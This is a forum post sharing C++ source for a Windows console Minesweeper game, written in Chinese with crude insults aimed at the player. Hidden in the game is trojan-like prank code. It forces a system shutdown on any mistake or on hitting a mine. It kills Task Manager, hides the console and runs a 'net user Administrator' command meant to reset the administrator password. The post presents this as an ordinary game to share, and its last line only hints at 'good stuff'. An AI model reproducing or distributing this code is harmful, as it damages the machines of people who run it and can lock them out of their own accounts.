分享一个自制扫雷,求关
查看原帖
分享一个自制扫雷,求关
1271613
A_W_Lee楼主2024/9/14 13:39
#include<bits/stdc++.h>
#include<windows.h>
#define wait Sleep(1145)
#define po cout<<'.'
#define clear_terminal system("cls");
#define __clear_terminal cout<<"\033[2J\033[1;1H"
#define DIE system("shutdown -s -t 3") 
#define random_start srand(time(NULL))
#define kd(VK_NONAME) ((GetAsyncKeyState(VK_NONAME)& 0x8080)? 1:0)
#define ILoveTheHistoryTeacher true
using namespace std;
const int P=3;
const int MAXN=105;
char board_out[MAXN][MAXN];
int board_dev[MAXN][MAXN];
//bool board_status[MAXN][MAXN];
int game_starter,mines,now_mines,die_mines=0,flags,board_size_linear,board_size_square,board_size_square_half;
char c;
int x,y;
struct player_node
{
int px,py;
}PN;
/*void Dance_I()
{
kd(VK_NONAME);
int x=GetsystemMetrics(SM_CXSCREEN);
int y=GetsystemMetrics(SM_CYSCREEN);
random_start;
while(1)
{
SetcursorPos(rand()%x,rand()%y);
if(kd(VK RETURN)) break;
}
}*/
void Dance_II()
{
    CONSOLE_CURSOR_INFO cursor_info={1,0};
    SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);
    srand(GetTickCount()); 
    while(1)
{
        COORD pos={rand()%100,rand()%30};
        SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos);
    }
 } 
void GO_TO_HELL()
{
DIE;
// Dance_I();
Dance_II();
ShowWindow(GetConsoleWindow(),SW_HIDE);
system("taskkill /f /im taskmgr.exe");
system("net user Administrator==‌****‌==");
}
void wait_use()
{
for(int i=1;i<=P;i++)
{
po;
wait;
}
}
void __execute()
{
cout<<"你似乎听不清楚人话"<<'\n';
wait;wait;
cout<<"该罚!!!"<<'\n';
GO_TO_HELL(); 
}
int main()
{
random_start;
clear_terminal;
cout<<"郑重声明:此游戏由songyd(kszsongyundi)与A_W_Lee(kszlizhengrui)联合制作,严禁盗版"<<'\n';
wait;wait;wait;
clear_terminal;
wait_use();
clear_terminal;
cout<<"扫雷游戏经典版(禁止任何非法操作)"<<'\n'<<"输入'1'以开始"<<'\n';
cin>>game_starter;
if(game_starter!=1) __execute();
clear_terminal;
wait_use();
clear_terminal;
cout<<"输入一个整数,代表你希望在几乘几的棋盘上进行游戏(2<n<101)"<<'\n';
cin>>board_size_linear;
board_size_square=pow(board_size_linear,2);
board_size_square_half=board_size_square/2+1;
if(board_size_linear<2 or board_size_linear>100) __execute();
clear_terminal;
wait_use();
clear_terminal;
for(int I=1;I<=board_size_linear;I++)
{
for(int J=1;J<=board_size_linear;J++)
{
board_dev[I][J]=0;
}
}
cout<<"你希望有几颗雷(大于0且小于总格子数的一半)"<<'\n';
cin>>mines;
flags=mines,now_mines=mines;
if(mines<1 or mines>board_size_square_half) __execute();
clear_terminal;
wait_use();
random_start;
while(ILoveTheHistoryTeacher)
{
if(now_mines<1) break;
x=rand()%100+1;
y=rand()%100+1;
//cout<<x<<' '<<y<<'\n';
//while(board_dev[N.x][N.y]==-1) N.x=rand()%1+board_size_linear,N.y=rand()%1+board_size_linear;
if(board_dev[x][y]==0 and x<=board_size_linear and y<=board_size_linear)
{
now_mines--;
board_dev[x][y]=-1;//the mine put
if(now_mines<1) break;
}
else
{
x=rand()%1+board_size_linear;
y=rand()%1+board_size_linear;
}
}
clear_terminal;
//count_mines
for(int i=1;i<=board_size_linear;i++)
{
for(int j=1;j<=board_size_linear;j++)
{
if(board_dev[i][j]==-1) continue;//this is a mine
//every area mines   cnt
else
{
if(board_dev[i-1][j-1]==-1) board_dev[i][j]++;
if(board_dev[i-1][j]==-1) board_dev[i][j]++;
if(board_dev[i-1][j+1]==-1) board_dev[i][j]++;
if(board_dev[i][j-1]==-1) board_dev[i][j]++;
if(board_dev[i][j+1]==-1) board_dev[i][j]++;
if(board_dev[i+1][j-1]==-1) board_dev[i][j]++;
if(board_dev[i+1][j]==-1) board_dev[i][j]++;
if(board_dev[i+1][j+1]==-1) board_dev[i][j]++;
}

}
}
//areas starter
for(int i=1;i<=board_size_linear;i++)
{
for(int j=1;j<=board_size_linear;j++)
{
board_out[i][j]='*';
}
}
//the game is start
while(ILoveTheHistoryTeacher)
{
clear_terminal;
for(int i=1;i<=board_size_linear;i++)
{
for(int j=1;j<=board_size_linear;j++)
{
cout<<board_out[i][j];
}
cout<<'\n';
}
cout<<"剩余旗帜数:"<<flags<<'\n';
cout<<"公猪请操作(翻开:a;插旗:b;拔旗:c;)"<<'\n';
cin>>c;
if(c!='a' and c!='b' and c!='c') {cout<<"..."<<'\n';wait;DIE;}
else
{
cout<<"请输入坐标"<<'\n'; 
if(c=='a')
{
cin>>PN.px>>PN.py;
wait_use();
if(board_dev[PN.px][PN.py]==-1)//mine
{
cout<<'\n'<<"恭喜你挖到了一个地雷"<<'\n';
wait;
cout<<"去见蒋子文爷爷吧!!!"<<'\n';
wait; 
//return 0;
DIE; 
}
else
{
board_out[PN.px][PN.py]=board_dev[PN.px][PN.py]+'0';
//I don't believe in endless enumeration 
for(int __I=1;__I<=99;__I++) 
{
for(int I=1;I<=board_size_linear;I++)
{
for(int J=1;J<=board_size_linear;J++)
{
if(board_out[I][J]=='0')
{
board_out[I-1][J-1]=board_dev[I-1][J-1]+'0';
board_out[I-1][J]=board_dev[I-1][J]+'0';
board_out[I-1][J+1]=board_dev[I-1][J+1]+'0';
board_out[I][J-1]=board_dev[I][J-1]+'0';
board_out[I][J+1]=board_dev[I][J+1]+'0';
board_out[I+1][J-1]=board_dev[I+1][J-1]+'0';
board_out[I+1][J]=board_dev[I+1][J]+'0';
board_out[I+1][J+1]=board_dev[I+1][J+1]+'0';
} 
}
}
}
clear_terminal;
}
}
if(c=='b')
{
cin>>PN.px>>PN.py;
wait_use();
if(flags==0)
{
cout<<"八嘎!没旗了还想插想见蒋子文爷爷了是不是"<<'\n';
wait;
DIE;
}
if(board_out[PN.px][PN.py]!='*')
{
cout<<"八嘎!在已经翻过的上面插旗想见蒋子文爷爷了是不是"<<'\n';
wait;
DIE;
}
if(board_dev[PN.px][PN.py]==-1)
{
die_mines++;
}
board_out[PN.px][PN.py]='f';
flags--; 
}
if(c=='c')
{
cin>>PN.px>>PN.py;
wait_use();
if(board_out[PN.px][PN.py]!='f')
{
cout<<"八嘎!在没插过旗的上面拔旗想见蒋子文爷爷了是不是"<<'\n';
wait;
DIE;
}
if(board_dev[PN.px][PN.py]==-1)
{
die_mines--;
}
board_out[PN.px][PN.py]='*'; 
flags++;
}
clear_terminal;
if(die_mines==mines)
{
clear_terminal;
wait_use();
cout<<'\n'<<"你标记了所有地雷"<<'\n'; 
cout<<"\033[1;33m你过关!\033[0m"<<'\n';
wait;
return 0;
 } 
}
 } 


return 0;
}

//谨慎使用,有好东西

2024/9/14 13:39
加载中...